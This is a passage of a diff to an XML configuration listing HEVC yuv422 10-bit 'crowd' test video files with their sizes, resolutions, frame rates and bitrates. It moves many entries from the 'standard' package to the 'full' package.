+    <value>mime=video/hevc,size=14567,width=128,height=72,frame-rate=50,profile=,level=,bitrate=165544,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_128x96p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15682,width=128,height=96,frame-rate=50,profile=,level=,bitrate=179680,package=standard</value>
+    <value>mime=video/hevc,size=15682,width=128,height=96,frame-rate=50,profile=,level=,bitrate=179680,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_1440x1080p50f32_3100kbps.mp4">
-    <value>mime=video/hevc,size=234286,width=1440,height=1080,frame-rate=50,profile=,level=,bitrate=2912000,package=standard</value>
+    <value>mime=video/hevc,size=234286,width=1440,height=1080,frame-rate=50,profile=,level=,bitrate=2912000,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_1440x1440p50f32_4100kbps.mp4">
-    <value>mime=video/hevc,size=298151,width=1440,height=1440,frame-rate=50,profile=,level=,bitrate=3710608,package=standard</value>
+    <value>mime=video/hevc,size=298151,width=1440,height=1440,frame-rate=50,profile=,level=,bitrate=3710608,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_1440x1920p50f32_5500kbps.mp4">
     <value>mime=video/hevc,size=399908,width=1440,height=1920,frame-rate=50,profile=,level=,bitrate=4982568,package=full</value>
@@ -15741,67 +15741,67 @@
     <value>mime=video/hevc,size=537359,width=1440,height=2560,frame-rate=50,profile=,level=,bitrate=6700720,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_1440x960p50f32_2700kbps.mp4">
-    <value>mime=video/hevc,size=204971,width=1440,height=960,frame-rate=50,profile=,level=,bitrate=2545568,package=standard</value>
+    <value>mime=video/hevc,size=204971,width=1440,height=960,frame-rate=50,profile=,level=,bitrate=2545568,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_144x144p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16126,width=144,height=144,frame-rate=50,profile=,level=,bitrate=185120,package=standard</value>
+    <value>mime=video/hevc,size=16126,width=144,height=144,frame-rate=50,profile=,level=,bitrate=185120,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_144x176p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16526,width=144,height=176,frame-rate=50,profile=,level=,bitrate=190024,package=standard</value>
+    <value>mime=video/hevc,size=16526,width=144,height=176,frame-rate=50,profile=,level=,bitrate=190024,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_144x192p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16489,width=144,height=192,frame-rate=50,profile=,level=,bitrate=189560,package=standard</value>
+    <value>mime=video/hevc,size=16489,width=144,height=192,frame-rate=50,profile=,level=,bitrate=189560,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_144x256p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16632,width=144,height=256,frame-rate=50,profile=,level=,bitrate=191344,package=standard</value>
+    <value>mime=video/hevc,size=16632,width=144,height=256,frame-rate=50,profile=,level=,bitrate=191344,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_144x96p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15492,width=144,height=96,frame-rate=50,profile=,level=,bitrate=177208,package=standard</value>
+    <value>mime=video/hevc,size=15492,width=144,height=96,frame-rate=50,profile=,level=,bitrate=177208,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_1536x2048p50f32_6200kbps.mp4">
     <value>mime=video/hevc,size=450081,width=1536,height=2048,frame-rate=50,profile=,level=,bitrate=5609744,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_160x240p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17118,width=160,height=240,frame-rate=50,profile=,level=,bitrate=197424,package=standard</value>
+    <value>mime=video/hevc,size=17118,width=160,height=240,frame-rate=50,profile=,level=,bitrate=197424,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_16x1080p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=23118,width=16,height=1080,frame-rate=25,profile=,level=,bitrate=136024,package=standard</value>
+    <value>mime=video/hevc,size=23118,width=16,height=1080,frame-rate=25,profile=,level=,bitrate=136024,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_16x1280p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=24062,width=16,height=1280,frame-rate=25,profile=,level=,bitrate=141928,package=standard</value>
+    <value>mime=video/hevc,size=24062,width=16,height=1280,frame-rate=25,profile=,level=,bitrate=141928,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_16x16p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=5559,width=16,height=16,frame-rate=25,profile=,level=,bitrate=26296,package=standard</value>
+    <value>mime=video/hevc,size=5559,width=16,height=16,frame-rate=25,profile=,level=,bitrate=26296,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_16x1920p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=25778,width=16,height=1920,frame-rate=25,profile=,level=,bitrate=152656,package=standard</value>
+    <value>mime=video/hevc,size=25778,width=16,height=1920,frame-rate=25,profile=,level=,bitrate=152656,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_16x720p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=22695,width=16,height=720,frame-rate=25,profile=,level=,bitrate=133392,package=standard</value>
+    <value>mime=video/hevc,size=22695,width=16,height=720,frame-rate=25,profile=,level=,bitrate=133392,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_172x172p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16723,width=172,height=172,frame-rate=50,profile=,level=,bitrate=192472,package=standard</value>
+    <value>mime=video/hevc,size=16723,width=172,height=172,frame-rate=50,profile=,level=,bitrate=192472,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_176x144p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16093,width=176,height=144,frame-rate=50,profile=,level=,bitrate=184712,package=standard</value>
+    <value>mime=video/hevc,size=16093,width=176,height=144,frame-rate=50,profile=,level=,bitrate=184712,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_176x96p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15546,width=176,height=96,frame-rate=50,profile=,level=,bitrate=177880,package=standard</value>
+    <value>mime=video/hevc,size=15546,width=176,height=96,frame-rate=50,profile=,level=,bitrate=177880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_1920x1080p50f32_4100kbps.mp4">
-    <value>mime=video/hevc,size=309637,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=3853880,package=standard</value>
+    <value>mime=video/hevc,size=309637,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=3853880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_1920x1088p50f32_4100kbps.mp4">
-    <value>mime=video/hevc,size=309363,width=1920,height=1088,frame-rate=50,profile=,level=,bitrate=3850456,package=standard</value>
+    <value>mime=video/hevc,size=309363,width=1920,height=1088,frame-rate=50,profile=,level=,bitrate=3850456,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_1920x1280p50f32_4900kbps.mp4">
-    <value>mime=video/hevc,size=357523,width=1920,height=1280,frame-rate=50,profile=,level=,bitrate=4452760,package=standard</value>
+    <value>mime=video/hevc,size=357523,width=1920,height=1280,frame-rate=50,profile=,level=,bitrate=4452760,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_1920x1440p50f32_5500kbps.mp4">
     <value>mime=video/hevc,size=400227,width=1920,height=1440,frame-rate=50,profile=,level=,bitrate=4986560,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_1920x16p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=22097,width=1920,height=16,frame-rate=25,profile=,level=,bitrate=129648,package=standard</value>
+    <value>mime=video/hevc,size=22097,width=1920,height=16,frame-rate=25,profile=,level=,bitrate=129648,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_1920x1920p50f32_7300kbps.mp4">
     <value>mime=video/hevc,size=531568,width=1920,height=1920,frame-rate=50,profile=,level=,bitrate=6628320,package=full</value>
@@ -15810,25 +15810,25 @@
     <value>mime=video/hevc,size=726121,width=1920,height=2560,frame-rate=50,profile=,level=,bitrate=9060248,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_1920x64p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17415,width=1920,height=64,frame-rate=50,profile=,level=,bitrate=201424,package=standard</value>
+    <value>mime=video/hevc,size=17415,width=1920,height=64,frame-rate=50,profile=,level=,bitrate=201424,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_192x128p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15987,width=192,height=128,frame-rate=50,profile=,level=,bitrate=183384,package=standard</value>
+    <value>mime=video/hevc,size=15987,width=192,height=128,frame-rate=50,profile=,level=,bitrate=183384,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_192x144p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16063,width=192,height=144,frame-rate=50,profile=,level=,bitrate=184336,package=standard</value>
+    <value>mime=video/hevc,size=16063,width=192,height=144,frame-rate=50,profile=,level=,bitrate=184336,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_192x192p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17107,width=192,height=192,frame-rate=50,profile=,level=,bitrate=197280,package=standard</value>
+    <value>mime=video/hevc,size=17107,width=192,height=192,frame-rate=50,profile=,level=,bitrate=197280,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_192x256p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16989,width=192,height=256,frame-rate=50,profile=,level=,bitrate=195808,package=standard</value>
+    <value>mime=video/hevc,size=16989,width=192,height=256,frame-rate=50,profile=,level=,bitrate=195808,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_192x288p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17203,width=192,height=288,frame-rate=50,profile=,level=,bitrate=198480,package=standard</value>
+    <value>mime=video/hevc,size=17203,width=192,height=288,frame-rate=50,profile=,level=,bitrate=198480,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_2048x1152p50f32_4700kbps.mp4">
-    <value>mime=video/hevc,size=343315,width=2048,height=1152,frame-rate=50,profile=,level=,bitrate=4275168,package=standard</value>
+    <value>mime=video/hevc,size=343315,width=2048,height=1152,frame-rate=50,profile=,level=,bitrate=4275168,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_2048x1536p50f32_6200kbps.mp4">
     <value>mime=video/hevc,size=452082,width=2048,height=1536,frame-rate=50,profile=,level=,bitrate=5634760,package=full</value>
@@ -15840,25 +15840,25 @@
     <value>mime=video/hevc,size=1245200,width=2160,height=3840,frame-rate=50,profile=,level=,bitrate=15548720,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_216x288p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17465,width=216,height=288,frame-rate=50,profile=,level=,bitrate=201760,package=standard</value>
+    <value>mime=video/hevc,size=17465,width=216,height=288,frame-rate=50,profile=,level=,bitrate=201760,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_2304x4096p50f32_18800kbps.mp4">
     <value>mime=video/hevc,size=1428647,width=2304,height=4096,frame-rate=50,profile=,level=,bitrate=17841808,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_240x160p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16936,width=240,height=160,frame-rate=50,profile=,level=,bitrate=195144,package=standard</value>
+    <value>mime=video/hevc,size=16936,width=240,height=160,frame-rate=50,profile=,level=,bitrate=195144,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_240x240p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17593,width=240,height=240,frame-rate=50,profile=,level=,bitrate=203360,package=standard</value>
+    <value>mime=video/hevc,size=17593,width=240,height=240,frame-rate=50,profile=,level=,bitrate=203360,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_240x320p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18205,width=240,height=320,frame-rate=50,profile=,level=,bitrate=211008,package=standard</value>
+    <value>mime=video/hevc,size=18205,width=240,height=320,frame-rate=50,profile=,level=,bitrate=211008,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_240x360p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18607,width=240,height=360,frame-rate=50,profile=,level=,bitrate=216032,package=standard</value>
+    <value>mime=video/hevc,size=18607,width=240,height=360,frame-rate=50,profile=,level=,bitrate=216032,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_24x32p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=14824,width=24,height=32,frame-rate=25,profile=,level=,bitrate=84200,package=standard</value>
+    <value>mime=video/hevc,size=14824,width=24,height=32,frame-rate=25,profile=,level=,bitrate=84200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_2560x1440p50f32_7300kbps.mp4">
     <value>mime=video/hevc,size=531563,width=2560,height=1440,frame-rate=50,profile=,level=,bitrate=6628272,package=full</value>
@@ -15873,34 +15873,34 @@
     <value>mime=video/hevc,size=1490037,width=2560,height=3840,frame-rate=50,profile=,level=,bitrate=18609184,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_256x144p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16980,width=256,height=144,frame-rate=50,profile=,level=,bitrate=195696,package=standard</value>
+    <value>mime=video/hevc,size=16980,width=256,height=144,frame-rate=50,profile=,level=,bitrate=195696,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_256x192p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17249,width=256,height=192,frame-rate=50,profile=,level=,bitrate=199056,package=standard</value>
+    <value>mime=video/hevc,size=17249,width=256,height=192,frame-rate=50,profile=,level=,bitrate=199056,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_256x256p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17805,width=256,height=256,frame-rate=50,profile=,level=,bitrate=206000,package=standard</value>
+    <value>mime=video/hevc,size=17805,width=256,height=256,frame-rate=50,profile=,level=,bitrate=206000,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_264x352p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18787,width=264,height=352,frame-rate=50,profile=,level=,bitrate=218272,package=standard</value>
+    <value>mime=video/hevc,size=18787,width=264,height=352,frame-rate=50,profile=,level=,bitrate=218272,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_2880x3840p50f32_22100kbps.mp4">
     <value>mime=video/hevc,size=1690486,width=2880,height=3840,frame-rate=50,profile=,level=,bitrate=21114800,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_288x192p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17532,width=288,height=192,frame-rate=50,profile=,level=,bitrate=202600,package=standard</value>
+    <value>mime=video/hevc,size=17532,width=288,height=192,frame-rate=50,profile=,level=,bitrate=202600,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_288x216p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17617,width=288,height=216,frame-rate=50,profile=,level=,bitrate=203656,package=standard</value>
+    <value>mime=video/hevc,size=17617,width=288,height=216,frame-rate=50,profile=,level=,bitrate=203656,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_288x288p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17992,width=288,height=288,frame-rate=50,profile=,level=,bitrate=208336,package=standard</value>
+    <value>mime=video/hevc,size=17992,width=288,height=288,frame-rate=50,profile=,level=,bitrate=208336,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_288x352p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=19171,width=288,height=352,frame-rate=50,profile=,level=,bitrate=223072,package=standard</value>
+    <value>mime=video/hevc,size=19171,width=288,height=352,frame-rate=50,profile=,level=,bitrate=223072,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_288x512p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=20921,width=288,height=512,frame-rate=50,profile=,level=,bitrate=244960,package=standard</value>
+    <value>mime=video/hevc,size=20921,width=288,height=512,frame-rate=50,profile=,level=,bitrate=244960,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_3072x4096p50f32_24000kbps.mp4">
     <value>mime=video/hevc,size=1847390,width=3072,height=4096,frame-rate=50,profile=,level=,bitrate=23076096,package=full</value>
@@ -15909,61 +15909,61 @@
     <value>mime=video/hevc,size=1847376,width=3120,height=4160,frame-rate=50,profile=,level=,bitrate=23075920,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_320x240p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18201,width=320,height=240,frame-rate=50,profile=,level=,bitrate=210960,package=standard</value>
+    <value>mime=video/hevc,size=18201,width=320,height=240,frame-rate=50,profile=,level=,bitrate=210960,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_320x320p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18426,width=320,height=320,frame-rate=50,profile=,level=,bitrate=213760,package=standard</value>
+    <value>mime=video/hevc,size=18426,width=320,height=320,frame-rate=50,profile=,level=,bitrate=213760,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_320x480p50f32_300kbps.mp4">
-    <value>mime=video/hevc,size=26533,width=320,height=480,frame-rate=50,profile=,level=,bitrate=315096,package=standard</value>
+    <value>mime=video/hevc,size=26533,width=320,height=480,frame-rate=50,profile=,level=,bitrate=315096,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_32x24p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=12536,width=32,height=24,frame-rate=25,profile=,level=,bitrate=69904,package=standard</value>
+    <value>mime=video/hevc,size=12536,width=32,height=24,frame-rate=25,profile=,level=,bitrate=69904,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_32x32p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15812,width=32,height=32,frame-rate=25,profile=,level=,bitrate=90368,package=standard</value>
+    <value>mime=video/hevc,size=15812,width=32,height=32,frame-rate=25,profile=,level=,bitrate=90368,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_350x350p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=20169,width=350,height=350,frame-rate=50,profile=,level=,bitrate=235536,package=standard</value>
+    <value>mime=video/hevc,size=20169,width=350,height=350,frame-rate=50,profile=,level=,bitrate=235536,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_352x264p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18331,width=352,height=264,frame-rate=50,profile=,level=,bitrate=212568,package=standard</value>
+    <value>mime=video/hevc,size=18331,width=352,height=264,frame-rate=50,profile=,level=,bitrate=212568,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_352x288p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18730,width=352,height=288,frame-rate=50,profile=,level=,bitrate=217560,package=standard</value>
+    <value>mime=video/hevc,size=18730,width=352,height=288,frame-rate=50,profile=,level=,bitrate=217560,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_352x352p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=19527,width=352,height=352,frame-rate=50,profile=,level=,bitrate=227520,package=standard</value>
+    <value>mime=video/hevc,size=19527,width=352,height=352,frame-rate=50,profile=,level=,bitrate=227520,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_356x638p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35131,width=356,height=638,frame-rate=50,profile=,level=,bitrate=422568,package=standard</value>
+    <value>mime=video/hevc,size=35131,width=356,height=638,frame-rate=50,profile=,level=,bitrate=422568,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_356x640p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35104,width=356,height=640,frame-rate=50,profile=,level=,bitrate=422224,package=standard</value>
+    <value>mime=video/hevc,size=35104,width=356,height=640,frame-rate=50,profile=,level=,bitrate=422224,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_358x636p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35285,width=358,height=636,frame-rate=50,profile=,level=,bitrate=424480,package=standard</value>
+    <value>mime=video/hevc,size=35285,width=358,height=636,frame-rate=50,profile=,level=,bitrate=424480,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_358x640p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35049,width=358,height=640,frame-rate=50,profile=,level=,bitrate=421536,package=standard</value>
+    <value>mime=video/hevc,size=35049,width=358,height=640,frame-rate=50,profile=,level=,bitrate=421536,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_360x240p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18544,width=360,height=240,frame-rate=50,profile=,level=,bitrate=215248,package=standard</value>
+    <value>mime=video/hevc,size=18544,width=360,height=240,frame-rate=50,profile=,level=,bitrate=215248,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_360x360p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=19830,width=360,height=360,frame-rate=50,profile=,level=,bitrate=231312,package=standard</value>
+    <value>mime=video/hevc,size=19830,width=360,height=360,frame-rate=50,profile=,level=,bitrate=231312,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_360x480p50f32_300kbps.mp4">
-    <value>mime=video/hevc,size=27290,width=360,height=480,frame-rate=50,profile=,level=,bitrate=324560,package=standard</value>
+    <value>mime=video/hevc,size=27290,width=360,height=480,frame-rate=50,profile=,level=,bitrate=324560,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_360x636p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35065,width=360,height=636,frame-rate=50,profile=,level=,bitrate=421744,package=standard</value>
+    <value>mime=video/hevc,size=35065,width=360,height=636,frame-rate=50,profile=,level=,bitrate=421744,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_360x638p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35043,width=360,height=638,frame-rate=50,profile=,level=,bitrate=421456,package=standard</value>
+    <value>mime=video/hevc,size=35043,width=360,height=638,frame-rate=50,profile=,level=,bitrate=421456,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_360x640p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35054,width=360,height=640,frame-rate=50,profile=,level=,bitrate=421624,package=standard</value>
+    <value>mime=video/hevc,size=35054,width=360,height=640,frame-rate=50,profile=,level=,bitrate=421624,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_3840x2160p50f32_16500kbps.mp4">
     <value>mime=video/hevc,size=1223479,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=15277208,package=full</value>
@@ -15978,7 +15978,7 @@
     <value>mime=video/hevc,size=1843435,width=3840,height=3840,frame-rate=50,profile=,level=,bitrate=23026656,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_384x512p50f32_300kbps.mp4">
-    <value>mime=video/hevc,size=28404,width=384,height=512,frame-rate=50,profile=,level=,bitrate=338496,package=standard</value>
+    <value>mime=video/hevc,size=28404,width=384,height=512,frame-rate=50,profile=,level=,bitrate=338496,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_4096x2304p50f32_18800kbps.mp4">
     <value>mime=video/hevc,size=1435005,width=4096,height=2304,frame-rate=50,profile=,level=,bitrate=17921280,package=full</value>
@@ -15996,208 +15996,208 @@
     <value>mime=video/hevc,size=1849258,width=4160,height=4160,frame-rate=50,profile=,level=,bitrate=23099432,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_472x472p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35203,width=472,height=472,frame-rate=50,profile=,level=,bitrate=423472,package=standard</value>
+    <value>mime=video/hevc,size=35203,width=472,height=472,frame-rate=50,profile=,level=,bitrate=423472,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_480x320p50f32_300kbps.mp4">
-    <value>mime=video/hevc,size=26893,width=480,height=320,frame-rate=50,profile=,level=,bitrate=319600,package=standard</value>
+    <value>mime=video/hevc,size=26893,width=480,height=320,frame-rate=50,profile=,level=,bitrate=319600,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_480x360p50f32_300kbps.mp4">
-    <value>mime=video/hevc,size=27416,width=480,height=360,frame-rate=50,profile=,level=,bitrate=326136,package=standard</value>
+    <value>mime=video/hevc,size=27416,width=480,height=360,frame-rate=50,profile=,level=,bitrate=326136,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_480x480p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35519,width=480,height=480,frame-rate=50,profile=,level=,bitrate=427424,package=standard</value>
+    <value>mime=video/hevc,size=35519,width=480,height=480,frame-rate=50,profile=,level=,bitrate=427424,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_480x640p50f32_600kbps.mp4">
-    <value>mime=video/hevc,size=49625,width=480,height=640,frame-rate=50,profile=,level=,bitrate=603760,package=standard</value>
+    <value>mime=video/hevc,size=49625,width=480,height=640,frame-rate=50,profile=,level=,bitrate=603760,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_480x720p50f32_600kbps.mp4">
-    <value>mime=video/hevc,size=50978,width=480,height=720,frame-rate=50,profile=,level=,bitrate=620672,package=standard</value>
+    <value>mime=video/hevc,size=50978,width=480,height=720,frame-rate=50,profile=,level=,bitrate=620672,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_480x848p50f32_800kbps.mp4">
-    <value>mime=video/hevc,size=64106,width=480,height=848,frame-rate=50,profile=,level=,bitrate=784872,package=standard</value>
+    <value>mime=video/hevc,size=64106,width=480,height=848,frame-rate=50,profile=,level=,bitrate=784872,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_48x64p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=24283,width=48,height=64,frame-rate=25,profile=,level=,bitrate=143312,package=standard</value>
+    <value>mime=video/hevc,size=24283,width=48,height=64,frame-rate=25,profile=,level=,bitrate=143312,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_512x288p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=20852,width=512,height=288,frame-rate=50,profile=,level=,bitrate=244096,package=standard</value>
+    <value>mime=video/hevc,size=20852,width=512,height=288,frame-rate=50,profile=,level=,bitrate=244096,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_512x384p50f32_300kbps.mp4">
-    <value>mime=video/hevc,size=28447,width=512,height=384,frame-rate=50,profile=,level=,bitrate=339032,package=standard</value>
+    <value>mime=video/hevc,size=28447,width=512,height=384,frame-rate=50,profile=,level=,bitrate=339032,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_512x512p50f32_500kbps.mp4">
-    <value>mime=video/hevc,size=42087,width=512,height=512,frame-rate=50,profile=,level=,bitrate=509520,package=standard</value>
+    <value>mime=video/hevc,size=42087,width=512,height=512,frame-rate=50,profile=,level=,bitrate=509520,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_528x704p50f32_700kbps.mp4">
-    <value>mime=video/hevc,size=57946,width=528,height=704,frame-rate=50,profile=,level=,bitrate=707760,package=standard</value>
+    <value>mime=video/hevc,size=57946,width=528,height=704,frame-rate=50,profile=,level=,bitrate=707760,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_576x1024p50f32_1100kbps.mp4">
-    <value>mime=video/hevc,size=88272,width=576,height=1024,frame-rate=50,profile=,level=,bitrate=1086936,package=standard</value>
+    <value>mime=video/hevc,size=88272,width=576,height=1024,frame-rate=50,profile=,level=,bitrate=1086936,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_576x704p50f32_800kbps.mp4">
-    <value>mime=video/hevc,size=65250,width=576,height=704,frame-rate=50,profile=,level=,bitrate=799056,package=standard</value>
+    <value>mime=video/hevc,size=65250,width=576,height=704,frame-rate=50,profile=,level=,bitrate=799056,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_576x720p50f32_800kbps.mp4">
-    <value>mime=video/hevc,size=65403,width=576,height=720,frame-rate=50,profile=,level=,bitrate=800968,package=standard</value>
